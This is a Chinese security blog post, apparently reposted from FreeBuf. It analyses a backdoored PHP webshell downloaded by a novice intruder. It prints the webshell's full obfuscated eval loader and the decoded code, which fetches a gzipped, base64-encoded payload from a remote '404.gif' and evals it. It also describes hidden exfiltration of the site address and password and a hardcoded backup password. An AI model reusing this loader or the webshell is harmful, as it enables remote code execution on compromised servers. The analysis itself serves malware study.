PHP WebShell代码后门的一次检查

栏目: 服务器 · 发布时间: 6年前

内容简介:*本文原创作者:facebook001,本文属FreeBuf原创奖励计划,未经许可禁止转载小明是一名Web小白,今天他突然心血来潮,对自己常用的大马代码查看一下,竟然发现还是有一些后门没有清除干净,不由得心里为之一颤抖,这个江湖果然是险恶重生,黑吃黑的事情经常发生。想起自己辛辛苦苦得到的站点都成了别人的嫁衣,遂决定好好的分析马儿的肚子内部结构,特洛伊的骗局决不能让它再次坑害新手。回想起来马儿好像是哪个网站上面下载的,小明快速的打开浏览器,搜索引擎输入“Web大马”,出现了缤纷多彩的信息。

*本文原创作者:facebook001,本文属FreeBuf原创奖励计划,未经许可禁止转载

前言

小明是一名Web小白,今天他突然心血来潮,对自己常用的大马代码查看一下,竟然发现还是有一些后门没有清除干净,不由得心里为之一颤抖,这个江湖果然是险恶重生,黑吃黑的事情经常发生。想起自己辛辛苦苦得到的站点都成了别人的嫁衣,遂决定好好的分析马儿的肚子内部结构,特洛伊的骗局决不能让它再次坑害新手。

正文:

回想起来马儿好像是哪个网站上面下载的,小明快速的打开浏览器,搜索引擎输入“Web大马”,出现了缤纷多彩的信息。

PHP WebShell代码后门的一次检查 好像就是这个网站,进去之后看看介绍,感觉好高大上黑色的背景配合绿色,灰白色的界面,这不正是小白们心里的标配马吗?好的,就是这匹宝马了。

PHP WebShell代码后门的一次检查

PHP WebShell代码后门的一次检查

不知道这宝马有木有介绍的那么好,竟然能过一切waf,诸多安全软件都免杀。有如此良驹,在渗透的时候必然是过五关斩六将。小明的手颤抖的移动鼠标到底部,看到下载地址,狠狠的点击一下,只听得叮的一声,马儿就掉到了自己的目录里面,

迫不及待的解压之后,看到一个shell.php,大小只有1.83KB,这体重和小马有的一拼了。

PHP WebShell代码后门的一次检查

<?php
$password='xxxxx';//登录密码
//本次更新:体积优化、压缩优化、命令优化、反弹优化、文件管理优化、挂马清马优化等大量功能细节优化。
//功能特色:PHP高版本低版本都能执行,文件短小精悍,方便上传,功能强大,提权无痕迹,无视waf,过安全狗、云锁、360、阿里云、护卫神等主流waf。同时支持菜刀、xise连接。
$html='$password'.'='."'".$password."';".'@e#html'.''.'v'."".''.''."".''.''.''.'a'.''.'l('.'g'.''."".''.''.'z'.'i'.''.''.'n'.'f'.'l'.''.''."".'a'.'t'.'e(b'.'as'.''.''.''."".''.'e'.'6'.''."".''."".""."".''.'4_'.'d'.'e'.'c'.''.''.''."".''."".'o'.'d'.'e'.'('."'lVZhb5tIEP0eKf9hg6ICEufgXBy1sSI1TTHJKcY5jJsmbYTwspitMUt3SWiT+r/fLLZjjN3UxxfE7sybN29nZtndIZwz7nOSMZ7TdKSZent3RxAhKEt9kQc81+QKjZC2R4Ugubbv961+/7LnfFGyOAsyqtzrOnre3UHw7GN0ilS1Pf96EIQHI5LmcrXLnmiSBAdHDRNpmE2yIKfDhLRRt39poeOG2UY3NA1ZIZDjoVbjUF/i8AQQhoEgx0d+SDALibb6pdwO4n7Xdqzh33fdrvnP460Z2uFhx3M+f6DDT9mhd5G5odn66Ny04k/N8bvz0empouuVCA4p6jGUq6cP10M7iYOmexl8dv7t2XHRtTtjbI9a2O4UgTfg+Ntdcns4Lm69uBXcZPndU/JIbKfo3Tg8nMSTq0JGmgeSQkYPKc6lvuQHFbnQ1EgwPGYZSdWlkiWrhKZjSDwLuCA+UNQkzwVUafH9gfCfYFKaflFB01i9rxrETEj1Rc5zlrCCcG1uKjfU+xWwKAPLFzJa6Wugt6aB9qFOUjZ7A5SBmmbVU2YF3ivkS0T2IIMrtuWhg+cZ2Sm68Lzrg2bD/Mq/pkp7g0cDXC4g9gl6LjlMX7UcQJH9dSar7AT9/xp7FfqcpSkpz+oEnSdMEGm9ySMqOM2J1MAovfU6Ik1jEoSEgxrN+h5maQ7shVSqDlzENCHQexFhUSnxmsaLQiHy7EYE6qlkcWS+O66zeDmqJZtTZG5EXCXWmBUY2YA3/VOIN2+QNucH+YF06NcvVFmQauq/51ARzvxz+NpnhOWhlbqtiS6bZpFgZXOOMF226x4UfMZAVmws5oQus1prYwybPk1prr6yT34QXG9zHAOZF2+tyrVchbHLMpi8ODbQ+cC96l17PrxmdLay9i67Vm/gQd+2trJ3LW/gOp575vQ7lmsgzx1Y29HqW+6ZbTmeUZn+K0MGL3KVSkjnNdz5oS13tjgMEM6H4tfUIIEpJ2elH22aqDmZZLLR3kfQV2vjtIwAFvlPbWap6xvK5j2dZIm8HlTVmCOugVRoKiFJPlJ+loYdiKlshpR0ZAL+oiRXuFUE2JT/HjRSFCSC1MpqNvfl7Z4EeJYt2AMjBZzxyqmsX+rgPHqiaZQEef2yBd8Ks+ns92CLvwPyGCQbLQBs+h8=')));";$css=base64_decode("Q3JlYXRlX0Z1bmN0aW9u");$style=$css('',preg_replace("/#html/","",$html));$style();/*));.'<linkrel="stylesheet"href="$#css"/>';*/

咋一看这不是base64吗,如此小的代码竟然实现了诸多的功能。着实让人佩服作者,打开phpstorm直接base64解密得到了下面这段内容

error_reporting(0);
session_start();
if (!isset($_SESSION["phpapi"])) {
    $c = '';
    $useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)';
    $url = base64_decode(base64_decode("YUhSMGNEb3ZMM0JvY0dGd2FTNXBibVp2THpRd05DNW5hV1k9Cg=="));
    $urlNew= base64_decode("LzBPbGlha1RIaXNQOGhwMGFkcGg5cGFwaTUrcjZlY2kwYTh5aWptZzlveGNwOWNrdmhmLw==");
    if (function_exists('fsockopen')) {
        $link = parse_url($url);
        $query = $link['path'];
        $host = strtolower($link['host']);
        $fp = fsockopen($host, 80, $errno, $errstr, 10);
        if ($fp) {
            $out = "GET /{$query} HTTP/1.0\r\n";
            $out .= "Host: {$host}\r\n";
            $out .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)\r\n";
            $out .= "Connection: Close\r\n\r\n";
            fwrite($fp, $out);
            $inheader = 1;
            $contents = "";
            while (!feof($fp)) {
                $line = fgets($fp, 4096);
                if ($inheader == 0) {
                    $contents .= $line;
                }
                if ($inheader && ($line == "\n" || $line == "\r\n")) {
                    $inheader = 0;
                }
            }
            fclose($fp);
            $c = $contents;
        }
    }
    if (!strpos($c, $urlNew) && function_exists('curl_init') && function_exists('curl_exec')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_TIMEOUT, 15);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
        curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
        $c = curl_exec($ch);
        curl_close($ch);
    }
    if (!strpos($c, $urlNew) && ini_get('allow_url_fopen')) {
        $temps = @file($url);
        if (!empty($temps))
            $c = @implode('', $temps);
        if (!strpos($c, "delDirAndFile"))
            $c = @file_get_contents($url);
    }
    if (strpos($c, $urlNew) !== false) {
        $c = str_replace($urlNew, "", $c);
        $_SESSION["phpapi"] = gzinflate(base64_decode($c));
    }
}
if (isset($_SESSION["phpapi"])) {
    eval($_SESSION["phpapi"]);
}

原来作者是通过远程下载图片的方式得到大马的内容,难怪可以逃过免杀啊,根本就是普通的 php 代码,这样以来作者就可以明正言顺的得到我们的url了,真的是躺着也能乐呵呵的数马儿,今年又是一个丰收年啊。

$url = base64_decode(base64_decode("YUhSMGNEb3ZMM0JvY0dGd2FTNXBibVp2THpRd05DNW5hV1k9Cg==")); 

$url base64解开后的到 http://xxx.xxx/404.gif

在得到图片的内容后用base64解开然后zip解压我们得到了真的马儿,打开浏览器后一看果然和网站上介绍的是一个模样的。输入密码登陆后,看到这样的马儿用起来才叫爽啊, PHP WebShell代码后门的一次检查 PHP WebShell代码后门的一次检查

为了看看大马儿的内部还有什么手段,祭出Firefox,按下f12,输入密码后查看网络连接,发现视乎没有什么其他的外部活动,js也是非常的安静。新想这马儿应该是安全的。再次查看了httpnetworksniff和TcpLogView,没有外部的连接活动。但还是非常不放心,在phpstorm里面看了下base64加密的字符串,看到一个函数非常可疑

PHP WebShell代码后门的一次检查

PHP WebShell代码后门的一次检查 其中htmlogin()函数内部 if (strpos($domain, “0.0″) !== false || strpos($domain, “192.168.”) !== false || strpos($domain, “localhost”) !== false) 以及show_mainp()函数都对局域网ip特征做了判断,判断了是否为局域网,不然就发送你的地址和密码到他的网站, http://xx.xx/api.php?name=filename.php&value=password&id=ip

然而到此结束了吗???通常WebShell会有一个备用的密码,搜寻了一下postpass 在1709行发现了备用密码if ($_POST['postpass'] == postpass||$_POST['postpass']==’http200ok’)

PHP WebShell代码后门的一次检查

总结:

还是那句话江湖险恶,不要轻易的用别人写好加密的东西,很多软件最好翻墙或者先去github上找找。webshell这种东西要自己动手查看内容确定安全后才能放心使用。

*本文原创作者:facebook001,本文属FreeBuf原创奖励计划,未经许可禁止转载


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

浴缸里的惊叹

浴缸里的惊叹

顾森 / 人民邮电出版社 / 2014-7 / 49.00元

《浴缸里的惊叹》是一本趣题集,里面的题目全部来自于作者顾森十余年来的精心收集,包括几何、组合、行程、数字、概率、逻辑、博弈、策略等诸多类别,其中既有小学奥数当中的经典题目,又有世界级的著名难题,但它们无一例外都是作者心目中的“好题”:题目本身简单而不容易,答案出人意料却又在情理之中,解法优雅精巧令人拍案叫绝。作者还有意设置了语言和情境两个类别的问题,希望让完全没有数学背景的读者也能体会到解题的乐趣......一起来看看 《浴缸里的惊叹》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

SHA 加密
SHA 加密

SHA 加密工具

html转js在线工具
html转js在线工具

html转js在线工具